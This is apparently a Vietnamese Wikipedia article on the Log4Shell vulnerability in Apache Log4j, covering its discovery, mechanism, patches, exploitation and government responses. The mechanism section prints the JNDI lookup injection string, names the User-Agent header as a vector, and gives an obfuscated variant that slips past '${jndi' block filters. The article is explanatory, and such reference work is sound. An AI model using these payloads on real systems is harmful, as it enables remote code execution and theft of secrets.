Xem mã nguồn của Log4Shell

{{Infobox
|title = Log4Shell
|label1= [[Common Vulnerabilities and Exposures|Mã CVE]]
|data1 = CVE-[https://nvd.nist.gov/vuln/detail/CVE-2021-44228 2021-44228]
|label2= Ngày phát hiện
|data2={{Start date and age|df=yes|2021|11|24}}
|label3= Ngày được vá lỗi
|data3={{Start date and age|df=yes|2021|12|09}}
|label4= Người phát hiện
|data4= Chen Zhaojun, thành viên đội ngũ an ninh [[Alibaba Cloud]]<ref name="mcafee" />
|label5= Phần mềm bị ảnh hưởng
|data5= Phần mềm sử dụng [[Log4j]] 2 để ghi nhật trình
}}
'''Log4Shell (CVE-2021-44228)''' là một [[Lỗ hổng (an toàn máy tính)|lỗ hổng]] [[zero-day]] có liên quan đến phương thức tấn công [[thực thi mã từ xa]] tồn tại trong thư viện [[Log4j]], một [[Thư viện (máy tính)|thư viện]] ghi nhật trình phổ biến cho ngôn ngữ lập trình [[Java (ngôn ngữ lập trình)|Java]].<ref name="lunasec">{{Cite web |last1=Wortley |first1=Free |last2=Thrompson |first2=Chris |last3=Allison |first3=Forrest |date=9 December 2021 |title=Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package |url=https://www.lunasec.io/docs/blog/log4j-zero-day/ |archive-url=https://web.archive.org/web/20240616040703/https://www.lunasec.io/docs/blog/log4j-zero-day/ |url-status=dead |archive-date=2024-06-16 |access-date=16 June 2024 |website=LunaSec |language=en}}</ref><ref name=":8">{{Cite web |title=CVE-2021-44228 |url=https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228 |access-date=12 December 2021 |website=Common Vulnerabilities and Exposures}}</ref> Lỗ hổng này tồn tại mà không được phát hiện từ năm 2013; vào ngày 24 tháng 11 năm 2021, Chen Zhaojun, một thành viên của đội ngũ an ninh của công ty [[Alibaba Cloud]], đã thông báo kín về lỗ hổng cho đơn vị phát triển và chủ quản của dự án Log4j là [[Quỹ Phần mềm Apache]].<ref>{{Cite news |date=2021-12-13 |title=Inside the Race to Fix a Potentially Disastrous Software Flaw |url=https://www.bloomberg.com/news/articles/2021-12-13/how-apache-raced-to-fix-a-potentially-disastrous-software-flaw |access-date=2024-11-19 |work=Bloomberg.com |language=en}}</ref> 

Lỗ hổng được biết đến với cái tên "Log4Shell" trước khi được gán mã định danh CVE chính thức vào ngày 10 tháng 12 năm 2021; tên gọi này được thành viên LunaSec Free Wortley đặt để sử dụng trong việc theo dõi.<ref name="lunasec" /><ref name="mcafee">{{Cite web |last1=Povolny |first1=Steve |last2=McKee |first2=Douglas |date=10 December 2021 |title=Log4Shell Vulnerability is the Coal in our Stocking for 2021 |url=https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/log4shell-vulnerability-is-the-coal-in-our-stocking-for-2021/ |access-date=12 December 2021 |website=[[McAfee]] |language=en}}</ref><ref>{{Cite web |date=9 December 2021 |title=Worst Apache Log4j RCE Zero day Dropped on Internet |url=https://www.cyberkendra.com/2021/12/worst-log4j-rce-zeroday-dropped-on.html |access-date=12 December 2021 |website=Cyber Kendra}}</ref><ref name="wired">{{Cite news |last=Newman |first=Lily Hay |date=10 December 2021 |title='The Internet Is on Fire' |language=en-US |magazine=Wired |url=https://www.wired.com/story/log4j-flaw-hacking-internet/ |access-date=12 December 2021 |issn=1059-1028}}</ref><ref name=":0">{{Cite news|last=Murphy|first=Hannah|date=2021-12-14|title=Hackers launch more than 1.2m attacks through Log4J flaw|work=[[Financial Times]]|url=https://www.ft.com/content/d3c244f2-eaba-4c46-9a51-b28fc13d9551|access-date=2021-12-17}}</ref> Log4Shell được Apache chấm điểm 10 trên thang đo độ nghiêm trọng CVSS ([[Common Vulnerability Scoring System]]) - số điểm cao nhất trên thang đánh giá này.<ref name="security">{{Cite web|title=Apache Log4j Security Vulnerabilities|url=https://logging.apache.org/log4j/2.x/security.html|access-date=12 December 2021|website=Log4j|publisher=Apache Software Foundation}}</ref> Lỗ hổng này rất dễ khai thác, và đã có khả năng ảnh hưởng đến hàng trăm triệu thiết bị.<ref name=":0" /><ref name=":7">{{Cite news|last1=Hunter|first1=Tatum|last2=de Vynck|first2=Gerrit|date=20 December 2021|title=The 'most serious' security breach ever is unfolding right now. Here's what you need to know.|url=https://www.washingtonpost.com/technology/2021/12/20/log4j-hack-vulnerability-java/|newspaper=[[The Washington Post]]}}</ref>

Log4Shell lợi dụng việc thư viện Log4j cho phép gửi yêu cầu đến các máy chủ [[Lightweight Directory Access Protocol|LDAP]] và [[Java Naming and Directory Interface|JNDI]] bất kì<ref name="lunasec" /><ref name="pcworld">{{Cite web |last=Mott |first=Nathaniel |date=10 December 2021 |title=Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit |url=https://www.pcmag.com/news/countless-serves-are-vulnerable-to-apache-log4j-zero-day-exploit |access-date=12 December 2021 |website=[[PC Magazine]] |language=en}}</ref><ref name="technica">{{Cite web |last=Goodin |first=Dan |date=10 December 2021 |title=Zero-day in ubiquitous Log4j tool poses a grave threat to the Internet |url=https://arstechnica.com/information-technology/2021/12/minecraft-and-other-apps-face-serious-threat-from-new-code-execution-bug/ |access-date=12 December 2021 |website=Ars Technica |language=en-us}}</ref> để cho phép [[tin tặc]] chạy mã Java trên [[máy chủ]] hoặc [[máy tính cá nhân]] của nạn nhân, hoặc làm rò rỉ thông tin nhạy cảm trên các thiết bị này.<ref name="wired" /> [[Đội ngũ An ninh Apache]] đã công bố danh sách những dự án phần mềm bị ảnh hưởng.<ref>{{Cite web|date=14 December 2021|title=Apache projects affected by log4j CVE-2021-44228|url=https://blogs.apache.org/security/entry/cve-2021-44228}}</ref> Các dịch vụ thương mại bị ảnh hưởng bao gồm [[Amazon Web Services]],<ref>{{Cite web |date=12 December 2021 |title=Update for Apache Log4j2 Issue (CVE-2021-44228) |url=https://aws.amazon.com/security/security-bulletins/AWS-2021-006/ |access-date=13 December 2021 |website=Amazon Web Services}}</ref> [[Cloudflare]], [[iCloud]],<ref>{{Cite web |last=Lovejoy |first=Ben |date=14 December 2021 |title=Apple patches Log4Shell iCloud vulnerability, described as most critical in a decade |url=https://9to5mac.com/2021/12/14/apple-patches-log4shell-icloud-vulnerability/ |website=[[9to5Mac]]}}</ref> [[Minecraft|''Minecraft: Java Edition'']],<ref>{{Cite web |title=Security Vulnerability in Minecraft: Java Edition |url=https://help.minecraft.net/hc/en-us/articles/4416199399693-Security-Vulnerability-in-Minecraft-Java-Edition |access-date=13 December 2021 |website=Minecraft |publisher=[[Mojang Studios]]}}</ref> [[Steam]], [[Tencent QQ]], và nhiều dịch vụ khác.<ref name="pcworld" /><ref>{{Cite web |last=Goodin |first=Dan |date=10 December 2021 |title=The Internet's biggest players are all affected by critical Log4Shell 0-day |url=https://arstechnica.com/information-technology/2021/12/the-critical-log4shell-zero-day-affects-a-whos-who-of-big-cloud-services/ |access-date=13 December 2021 |website=[[ArsTechnica]]}}</ref><ref>{{Cite news |last=Rundle |first=David Uberti and James |date=15 December 2021 |title=What Is the Log4j Vulnerability? |newspaper=Wall Street Journal |url=https://www.wsj.com/articles/what-is-the-log4j-vulnerability-11639446180 |via=www.wsj.com}}</ref> Theo [[Wiz (công ty)|Wiz]] và [[Ernst & Young|EY]], lỗ hổng này ảnh hưởng đến 93% các môi trường [[điện toán đám mây]] doanh nghiệp.<ref name=":6">{{Cite web|title=Enterprises halfway through patching Log4Shell {{!}} Wiz Blog|url=https://www.wiz.io/blog/10-days-later-enterprises-halfway-through-patching-log4shell|access-date=2021-12-20|website=www.wiz.io|date=20 December 2021}}</ref>

Việc lỗ hổng này được công bố đã nhận được nhiều phản ứng mạnh từ các chuyên gia [[an ninh mạng]]. Công ty an ninh mạng [[Tenable]] cho rằng lỗ hổng này là "lỗ hổng lớn nhất, nguy hiểm nhất từ trước đến nay,"<ref name=":4">{{Cite news|last=Barrett|first=Brian|title=The Next Wave of Log4J Attacks Will Be Brutal|language=en-US|magazine=[[Wired (magazine)|Wired]]|url=https://www.wired.com/story/log4j-log4shell-vulnerability-ransomware-second-wave/|access-date=2021-12-17|issn=1059-1028}}</ref> ''[[Ars Technica]]'' nói rằng Log4Shell là "lỗ hổng có thể là nguy hiểm nhất lịch sử,"<ref name=":1">{{Cite web|last=Goodin|first=Dan|date=2021-12-13|title=As Log4Shell wreaks havoc, payroll service reports ransomware attack|url=https://arstechnica.com/information-technology/2021/12/as-log4shell-wreaks-havoc-payroll-service-reports-ransomware-attack/|access-date=2021-12-17|website=[[Ars Technica]]|language=en-us}}</ref> và ''[[The Washington Post]]'' báo rằng những lời mô tả về lỗ hổng của các chuyên gia an ninh "gần như đang mô tả lại một ngày tận thế."<ref name=":7"/>
== Bối cảnh ==
{{Main article|Log4j}}

Log4j là một [[Thư viện (máy tính)|thư viện]] [[mã nguồn mở]] cung cấp chức năng ghi lại nhật trình dữ liệu cho các chương trình; các mục nhật trình này có thể bao gồm dữ liệu do người dùng nhập vào.<ref>{{Cite web |last1=Yan |first1=Tao |last2=Deng |first2=Qi |last3=Zhang |first3=Haozhe |last4=Fu |first4=Yu |last5=Grunzweig |first5=Josh |date=10 December 2021 |title=Another Apache Log4j Vulnerability Is Actively Exploited in the Wild (CVE-2021-44228) |url=https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/ |website=Unit 42 |publisher=[[Palo Alto Networks]]}}</ref> Hiện tại thư viện này được sử dụng rộng rãi trong các ứng dụng viết bằng [[Java (ngôn ngữ lập trình)|Java]], đặc biệt là các ứng dụng dùng trong môi trường doanh nghiệp.<ref name="wired" /> Thư viện được [[Ceki Gülcü]] viết vào năm 2001; về sau Log4j được chuyển vào danh mục Apache Logging Services, một dự án của [[Quỹ Phần mềm Apache]].<ref>{{Cite web |title=Apache Log4j 2 |url=https://logging.apache.org/log4j/2.x/ |access-date=12 December 2021 |publisher=Apache Software Foundation}}</ref> [[Tom Kellermann]], một thành viên của Ủy ban An ninh mạng của [[Tổng thống Hoa Kỳ]] [[Barack Obama]], đã gọi Apache là "một trong những cây trụ lớn nâng đỡ cây cầu kết nối giữa hai thế giới của các ứng dụng và môi trường máy tính."<ref name=":5" />

== Hành vi ==
Hệ thống [[Java Naming and Directory Interface]] (JNDI) cho phép người dùng tra cứu các [[Đối tượng (khoa học máy tính)|đối tượng]] Java vào thời điểm chạy chương trình thông qua một đường dẫn cho trước. JNDI có thể sử dụng nhiều giao thức thư mục với các quy trình tra cứu khác nhau, trong đó bao gồm giao thức [[Lightweight Directory Access Protocol]] (LDAP), một giao thức chung<ref>{{Chú thích web|title=Lightweight Directory Access Protocol (LDAP): The Protocol |url=https://datatracker.ietf.org/doc/rfc4511/}}</ref> cho phép tải về dữ liệu đối tượng dưới dạng [[URL]] từ một máy chủ tương thích trong [[mạng cục bộ]] hoặc ở bất kỳ đâu trên [[Internet]].<ref name="cloudflare-graham-cumming">{{Cite web |last=Graham-Cumming |first=John |date=10 December 2021 |title=Inside the Log4j2 vulnerability (CVE-2021-44228) |url=https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ |access-date=13 December 2021 |website=The Cloudflare Blog |language=en}}</ref>

Khi ghi một xâu vào nhật trình với thiết lập mặc định, Log4j 2 thay thế kí tự đối với các biểu thức có cú pháp <code>${tiền-tố:tên}</code>.<ref name="cloudflare-graham-cumming" /> Ví dụ, xâu <code>Text: ${java:version}</code> có thể được biến đổi thành <code>Text: Java version 1.7.0_67</code>.<ref>{{Cite web |title=Lookups |url=https://logging.apache.org/log4j/2.x/manual/lookups.html |access-date=13 December 2021 |website=Log4j |publisher=Apache Software Foundation}}</ref> Một biểu thức tương thích là <code>${jndi:<lookup>}</code>; bằng cách tra cứu dữ liệu thông qua LDAP, có thể truy vấn thông tin từ một URL bất kì và nạp thông tin này dưới dạng đối tượng Java. Ví dụ, xâu <code>${jndi:ldap://example.com/file}</code> sẽ nạp dữ liệu từ URL tương ứng nếu máy chủ kết nối với Internet. Bằng cách nhập một xâu dữ liệu được ghi lại trong nhật trình, [[Mũ đen (bảo mật máy tính)|tin tặc]] có thể nạp và chạy [[Phần mềm ác ý|mã độc]] được lưu tại một URL công khai.<ref name="cloudflare-graham-cumming" /> Kể cả nếu không thể chạy đoạn mã nhận lại, tin tặc vẫn có thể truy cập các dữ liệu khác, ví dụ như các [[biến môi trường]] bí mật, bằng cách khai báo biến trong URL - các giá trị thực của biến sẽ được thay thế vào URL và gửi đến máy chủ của tin tặc.<ref name="ducklin">{{Cite web |last=Ducklin |first=Paul |date=12 December 2021 |title=Log4Shell explained – how it works, why you need to know, and how to fix it |url=https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/ |access-date=12 December 2021 |website=Naked Security |publisher=Sophos |archive-date=2023-07-05 |archive-url=https://web.archive.org/web/20230705122550/https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/ |url-status=dead }}</ref><ref>{{Cite web |last=Miessler |first=Daniel |date=13 December 2021 |title=The log4j (Log4Shell) Situation |url=https://danielmiessler.com/podcast/news-analysis-no-311/ |website=Unsupervised Learning}}</ref> Ngoài LDAP ra, các giao thức JDNI khác có thể bị khai thác khác bao gồm LDAPS (phiên bản bảo mật cao hơn của LDAP), [[Java Remote Method Invocation]] (RMI), [[hệ thống phân giải tên miền]] (DNS), và [[Internet Inter-ORB Protocol]] (IIOP).<ref>{{Cite web |last1=Duraishamy |first1=Ranga |last2=Verma |first2=Ashish |last3=Ang |first3=Miguel Carlo |date=13 December 2021 |title=Patch Now Apache Log4j Vulnerability Called Log4Shell Actively Exploited |url=https://www.trendmicro.com/en_us/research/21/l/patch-now-apache-log4j-vulnerability-called-log4shell-being-acti.html |access-date=14 December 2021 |website=Trend Micro}}</ref><ref>{{Cite web |last=Narang |first=Satnam |date=10 December 2021 |title=CVE-2021-44228: Proof-of-Concept for Critical Apache Log4j Remote Code Execution Vulnerability Available (Log4Shell) |url=https://www.tenable.com/blog/cve-2021-44228-proof-of-concept-for-critical-apache-log4j-remote-code-execution-vulnerability |access-date=14 December 2021 |website=Tenable Blog}}</ref>

Vì các yêu cầu [[HTTP]] thường được ghi nhật trình, một hướng tấn công thường gặp là đặt xâu chứa mã độc trong đường dẫn URL của yêu cầu hoặc vào một trường khác, ví dụ như trường <code>User-Agent</code>. Những biện pháp khắc phục ban đầu bao gồm phương pháp chặn các yêu cầu có nội dung có thể chứa mã độc, ví dụ như xâu <code>${jndi</code>.<ref>{{Cite web |last1=Gabor |first1=Gabriel |last2=Bluehs |first2=Gabriel |date=10 December 2021 |title=CVE-2021-44228 - Log4j RCE 0-day mitigation |url=https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/ |access-date=13 December 2021 |website=The Cloudflare Blog}}</ref> Những biện pháp dưới dạng so khớp xâu cơ bản này có thể bị vô hiệu bằng cách làm rối (obfuscate) yêu cầu trước khi gửi: xâu <code>${${lower:j}ndi</code> sẽ được biến đổi thành <code>${jndi</code> sau khi kí tự <code>j</code> được biến đổi thành chữ thường.<ref>{{Cite web |last=Hahad |first=Mounir |date=12 December 2021 |title=Apache Log4j Vulnerability CVE-2021-44228 Raises widespread Concerns |url=https://blogs.juniper.net/en-us/enterprise-cloud-and-transformation/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns |access-date=12 December 2021}}</ref> Kể cả nếu nội dung nhập vào không được ghi vào nhật trình ngay lập tức, dữ liệu có thể về sau được ghi lại trong quá trình xử lý dữ liệu, và khi đó nội dung của yêu cầu sẽ được chạy.<ref name="cloudflare-graham-cumming" />

== Khắc phục ==
Bản vá khắc phục lỗ hổng này được thêm vào bản cập nhật 2.150-rc1 của Log4j vào ngày 6 tháng 12 năm 2021, ba ngày trước khi lỗ hổng được công bố công khai.<ref>{{Cite web |date=5 December 2021 |title=Restrict LDAP access via JNDI by rgoers #608 |url=https://github.com/apache/logging-log4j2/pull/608 |access-date=12 December 2021 |website=Log4j |language=en |via=[[GitHub]]}}</ref><ref>{{cite web |last1=Berger |first1=Andreas |title=What is Log4Shell? The Log4j vulnerability explained (and what to do about it) |url=https://www.dynatrace.com/news/blog/what-is-log4shell/ |website=Dynatrace news |date=17 December 2021 |quote=Apache issued a patch for CVE-2021-44228, version 2.15, on December 6. However, this patch left part of the vulnerability unfixed, resulting in CVE-2021-45046 and a second patch, version 2.16, released on December 13. Apache released a third patch, version 2.17, on December 17 to fix another related vulnerability, CVE-2021-45105.}}</ref><ref>{{cite web |last1=Rudis |first1=boB |title=Widespread Exploitation of Critical Remote Code Execution in Apache Log4j {{!}} Rapid7 Blog |url=https://www.rapid7.com/blog/post/2021/12/10/widespread-exploitation-of-critical-remote-code-execution-in-apache-log4j/ |website=Rapid7 |language=en |date=10 December 2021}}</ref> Lỗ hổng được khắc phục bằng cách giới hạn các loại [[máy chủ]] và giao thức có thể sử dụng cho việc tra cứu thông tin. Các nhà nghiên cứu đã phát hiện một lỗ hổng liên quan khác; lỗ hổng CVE-2021-45046 cho phép chạy mã từ trong [[mạng cục bộ]] hoặc từ xa trong một số thiết lập không mặc định; lỗ hổng này được khắc phục ở bản 2.16.0 bằng cách vô hiệu hóa toàn bộ các chức năng sử dụng JNDI và các chức năng tra cứu tin nhắn khác.<ref name="cve-2021-45056">{{Cite web |date=15 December 2021 |title=CVE-2021-45046 |url=https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046 |access-date=15 December 2021 |website=Common Vulnerabilities and Exposures}}</ref><ref>{{cite web |last1=Greig |first1=Jonathan |title=Second Log4j vulnerability discovered, patch already released |url=https://www.zdnet.com/article/second-log4j-vulnerability-found-apache-log4j-2-16-0-released/ |website=ZDNet |access-date=17 December 2021 |language=en |date=14 December 2021}}</ref> Thêm hai lỗ hổng nữa được phát hiện: lỗ hổng CVE-2021-45105 cho phép [[tấn công từ chối dịch vụ]], được khắc phục ở bản 2.17.0, và lỗ hổng [[thực thi mã từ xa]] khó khai thác CVE-2021-44832, được khắc phục ở bản 2.17.1.<ref>{{cite web |title=CVE-2021-45105 |url=https://nvd.nist.gov/vuln/detail/CVE-2021-45105 |website=National Vulnerability Database |access-date=4 January 2022}}</ref><ref>{{cite web |title=CVE-2021-44832 |url=https://nvd.nist.gov/vuln/detail/CVE-2021-44832 |website=National Vulnerability Database |access-date=4 January 2022}}</ref> Đối với các phiên bản cũ hơn, cách khắc phục cả hai lỗ hổng là xóa [[Lớp (lập trình máy tính)|lớp]] <code>org.apache.logging.log4j.core.lookup.JndiLookup</code> khỏi [[classpath]];<ref name="security"/><ref name="cve-2021-45056" /> một biện pháp khác được khuyến cáo ban đầu là đặt thiết lập <code>log4j2.formatMsgNoLookups</code> thành <code>true</code>, nhưng biện pháp này không khắc phục được CVE-2021-45046 và về sau bị phát hiện là không vô hiệu hóa được chức năng tra cứu tin nhắn trong một số trường hợp.<ref name="security" /><ref name="cve-2021-45056" />

Các phiên bản mới của [[Java Runtime Environment]] (JRE) khắc phục lỗ hổng này bằng cách mặc định không cho nạp các đoạn mã từ xa; tuy nhiên trong một số ứng dụng vẫn tồn tại các hướng tấn công khác.<ref name="lunasec" /><ref name="ducklin" /><ref>{{Cite web |date=17 January 2017 |title=Java(TM) SE Development Kit 8, Update 121 (JDK 8u121) Release Notes |url=https://www.oracle.com/java/technologies/javase/8u121-relnotes.html |access-date=13 December 2021 |publisher=Oracle |language=en}}</ref><ref>{{cite web|url=https://www.veracode.com/blog/research/exploiting-jndi-injections-java|title=Exploiting JNDI Injections in Java|date=2019-01-03|access-date=2021-12-15|publisher=[[Veracode]]}}</ref> Một số các phương pháp và công cụ nhằm phát hiện các phiên bản Log4j còn mắc phải lỗ hổng trong các thư viện Java đã được biên dịch và xây dựng đã được tạo ra.<ref name="lunasec-mitigation-guide">{{Cite web |date=13 December 2021 |title=Guide: How To Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228) |url=https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/ |access-date=13 December 2021 |website=www.lunasec.io |language=en |archive-date=2021-12-24 |archive-url=https://web.archive.org/web/20211224184513/https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/ |url-status=dead }}</ref>

Với các trường hợp không thể cập nhật được phần mềm vì các lý do như thiếu tài nguyên hoặc phần mềm do bên thứ ba quản lý, giải pháp thường được sử dụng là lọc luồng dữ liệu xuất ra từ các hệ thống bị ảnh hưởng;<ref>{{cite web |date=2022-07-11 |title=Review of the December 2021 Log4j Event |url=https://www.cisa.gov/sites/default/files/publications/CSRB-Report-on-Log4-July-11-2022_508.pdf |access-date=2023-01-18 |publisher=[[Cyber Safety Review Board]]}}</ref> phương pháp này được [[NCC Group]]<ref>{{cite web |title=Apache Log4j Zero Day Recommendations & Resources |url=https://www.nccgroup.com/uk/apache-log4j-zero-day-recommendations-resources/ |access-date=2023-01-18 |publisher=[[NCC Group]]}}</ref> và Trung tâm An ninh Mạng Quốc gia của [[Vương quốc Anh]]<ref>{{cite web |date=2021-12-10 |title=Alert: Apache Log4j vulnerabilities |url=https://www.ncsc.gov.uk/news/apache-log4j-vulnerability |access-date=2023-01-18 |publisher=[[National Cyber Security Centre (United Kingdom)]]}}</ref> khuyên dùng, và được coi là ví dụ của phương pháp "bảo mật bằng chiều sâu" (defense in depth). Các cuộc thử nghiệm với các hệ thống [[tường lửa]] có khả năng lọc luồng dữ liệu xuất ra từ các phiên bản có lỗ hổng của thư viện Log4j và JRE đã chứng minh được sự hiệu quả của phương pháp trên.<ref>{{cite web |date=2021-12-12 |title=Log4Shell and its traces in a network egress filter |url=https://chasersystems.com/blog/log4shell-and-its-traces-in-a-network-egress-filter/ |access-date=2023-01-18 |publisher=[[Chaser Systems]]}}</ref>

== Khai thác ==
[[Mũ đen (bảo mật máy tính)|Tin tặc]] có thể thông qua Java mà chiếm quyền kiểm soát các thiết bị mắc phải lỗ hổng.<ref name=":0" /> Một số tin tặc lợi dụng lỗ hổng để sử dụng thiết bị của nạn nhân để đào [[tiền kỹ thuật số]], xây dựng [[botnet]], gửi [[Thư rác (điện tử)|thư rác]], đặt [[backdoor]] hoặc sử dụng cho các hoạt động phi pháp khác, ví dụ như đặt [[mã độc tống tiền]].<ref name=":0" /><ref name=":7" /><ref name=":2">{{Cite web |last=Woodyard |first=Chris |title='Critical vulnerability': Smaller firms may find it harder to stop hackers from exploiting Log4j flaw |url=https://www.usatoday.com/story/money/business/2021/12/16/log-4-j-vulnerability-small-business/8910567002/ |access-date=2021-12-17 |website=[[USA Today]] |language=en-US}}</ref> [[Check Point]] đã theo dõi được hàng triệu vụ tấn công vào những ngày sau khi lỗ hổng được công bố; một số nhà nghiên cứu phát hiện được hơn 100 vụ tấn công được thực hiện mỗi phút, trong đó hơn 40% hệ thống [[mạng máy tính]] của doanh nghiệp trên toàn thế giới bị tấn công.<ref name=":0" /><ref name=":5">{{Cite web |last=Byrnes |first=Jesse |date=2021-12-14 |title=Hillicon Valley — Apache vulnerability sets off alarm bells |url=https://thehill.com/policy/technology/overnights/585832-hillicon-valley |access-date=2021-12-17 |website=[[TheHill]] |language=en}}</ref>

Theo CEO [[Cloudflare]] Matthew Prince, đã có bằng chứng của việc khai thác và/hoặc truy tìm các thiết bị bị ảnh hưởng từ sớm nhất là ngày 1 tháng 12, 9 ngày trước khi lỗ hổng được công bố.<ref name="duckett2">{{Cite web |last=Duckett |first=Chris |title=Log4j RCE activity began on 1 December as botnets start using vulnerability |url=https://www.zdnet.com/article/log4j-rce-activity-began-on-december-1-as-botnets-start-using-vulnerability/ |access-date=13 December 2021 |website=ZDNet |language=en}}</ref> Theo công ty an ninh mạng [[Grey Noise]], một số [[địa chỉ IP]] đã quét dữ liệu [[trang web]] trên diện rộng để truy tìm các máy chủ bị ảnh hưởng bởi lỗ hổng;<ref>{{Cite web |date=10 December 2021 |title=Exploit activity for Apache Log4j vulnerability - CVE-2021-44228 |url=https://www.greynoise.io/blog/apache-log4j-vulnerability-CVE-2021-44228 |access-date=14 December 2021 |website=Greynoise Research}}</ref> một số [[botnet]] cũng bắt đầu quét tìm lỗ hổng này, trong đó có Muhstik vào ngày 10 tháng 12, cùng với [[Mirai (botnet)|Mirai]] và Tsunami.<ref name=":0" /><ref name="duckett2" /><ref>{{Cite web |last=Zugec |first=Martin |date=13 December 2021 |title=Technical Advisory: Zero-day critical vulnerability in Log4j2 exploited in the wild |url=https://businessinsights.bitdefender.com/technical-advisory-zero-day-critical-vulnerability-in-log4j2-exploited-in-the-wild |website=Business Insights |publisher=[[Bitdefender]]}}</ref> Nhóm chuyên tung mã độc tống tiền Conti bị phát hiện đang khai thác lỗ hổng này vào ngày 17 tháng 12.<ref name=":7" />

Một số nhóm tin tặc được nhà nước hậu thuẫn tại [[Trung Quốc]] và [[Iran]] cũng đã khai thác lỗ hổng này theo nguồn tin từ Check Point; hiện chưa rõ lỗ hổng này có được [[Israel]], [[Nga]] hay [[Hoa Kỳ]] khai thác trước khi được công bố hay không.<ref name=":7" /><ref name=":4" /> Check Point đưa tin rằng vào ngày 15 tháng 12 năm 2021, các tin tặc được Iran hậu thuẫn đã cố xâm nhập vào hệ thống mạng của các doanh nghiệp và cơ quan chính phủ tại Israel.<ref name=":7" />

== Phản ứng và hệ quả ==
=== Chính phủ ===

Giám đốc Cơ quan An ninh Mạng và An ninh Cơ sở Hạ tầng (Cybersecurity and Infrastructure Security Agency - CISA) Hoa Kỳ Jen Easterly đã gọi lỗ hổng Log4Shell là "một trong những lỗ hổng nghiêm trọng nhất tôi từng thấy trong suốt sự nghiệp của tôi, nếu không phải là nghiêm trọng nhất"; ông giải thích rằng hàng trăm triệu thiết bị đã bị ảnh hưởng và kêu gọi các nhà cung cấp thiết bị nhanh chóng đẩy ra các bản cập nhật phần mềm.<ref name=":0"/><ref>{{Cite web|date=11 December 2021|title=Statement from CISA Director Easterly on "Log4j" Vulnerability|url=https://www.cisa.gov/news/2021/12/11/statement-cisa-director-easterly-log4j-vulnerability|website=CISA}}</ref><ref name=":2"/> Các cơ quan dân sự được thuê dưới diện nhà thầu bởi [[Chính quyền liên bang Hoa Kỳ|chính phủ Hoa Kỳ]] có hạn cuối đến ngày 24 tháng 12 năm 2021 để vá lỗi.<ref name=":7"/> Vào ngày 4 tháng 1, [[Ủy ban Thương mại Liên bang]] (FTC) đã tuyên bố sẽ truy cứu các công ty không thực hiện các bước cập nhật cần thiết đối với phần mềm sử dụng Log4j.<ref>{{Cite web|date=2022-01-04|title=FTC warns companies to remediate Log4j security vulnerability|publisher=Federal Trade Commission (FTC)|url=https://www.ftc.gov/news-events/blogs/techftc/2022/01/ftc-warns-companies-remediate-log4j-security-vulnerability|access-date=2022-01-06}}</ref> Trong một cuộc họp tại [[Nhà Trắng]], tầm quan trọng đối với [[an ninh quốc gia]] của việc bảo trì về mặt an ninh đối với các phần mềm [[Phần mềm nguồn mở|mã nguồn mở]] - một công việc phần lớn do một số ít tình nguyện viên đảm nhận - được nhấn mạnh. Mặc dù một số dự án phần mềm nguồn mở thường có nhiều người theo dõi, nhiều dự án khác có rất ít hoặc không có người đảm nhận vai trò đảm bảo an ninh.<ref>{{cite news |title=After Log4j, Open-Source Software Is Now a National Security Issue |url=https://gizmodo.com/after-log4j-open-source-software-is-now-a-national-sec-1848356403 |access-date=16 January 2022 |work=Gizmodo |language=en-us}}</ref><ref>{{cite news |last1=Greig |first1=Jonathan |title=After Log4j, White House fears the next big open source vulnerability |url=https://www.zdnet.com/article/after-log4j-white-house-worries-about-the-next-big-open-source-flaw/ |access-date=16 January 2022 |work=ZDNet |language=en}}</ref>

Văn phòng An toàn Thông tin Liên bang [[Đức]] (Bundesamt für Sicherheit in der Informationstechnik - BSI) đã đặt Log4Shell vào mức độ nguy hiểm cao nhất trong thang đo của tổ chức này. Tổ chức này cũng báo rằng đã có một số vụ tấn công diễn ra thành công và hiện vẫn khó được phạm vi ảnh hưởng của lỗ hổng này.<ref>{{Cite web |last=Sauerwein |first=Jörg |date=12 December 2021 |title=BSI warnt vor Sicherheitslücke |url=https://www.tagesschau.de/inland/bsi-schadsoftware-101.html |website=[[Tagesschau (German TV series)|Tagesschau]] |language=de}}</ref><ref>{{Cite press release |title=Warnstufe Rot: Schwachstelle Log4Shell führt zu extrem kritischer Bedrohungslage |date=11 December 2021 |publisher=[[Federal Office for Information Security]] |url=https://www.bsi.bund.de/DE/Service-Navi/Presse/Pressemitteilungen/Presse2021/211211_log4Shell_WarnstufeRot.html |language=de |trans-title=Red alarm: Log4Shell vulnerability causes extremely critical threat situation}}</ref> Trung tâm An ninh Mạng Quốc gia [[Hà Lan]] (NCSC) đã bắt đầu công bố danh sách phần mềm bị ảnh hưởng.<ref>{{Cite web |last=J. Vaughan-Nichols |first=Steven |date=14 December 2021 |title=Log4Shell: We Are in So Much Trouble |url=https://thenewstack.io/log4shell-we-are-in-so-much-trouble/ |website=The New Stack}}</ref><ref>{{Cite web |title=NCSC-NL/log4shell |url=https://github.com/NCSC-NL/log4shell |access-date=14 December 2021 |publisher=National Cyber Security Centre (Netherlands) |via=GitHub}}</ref>

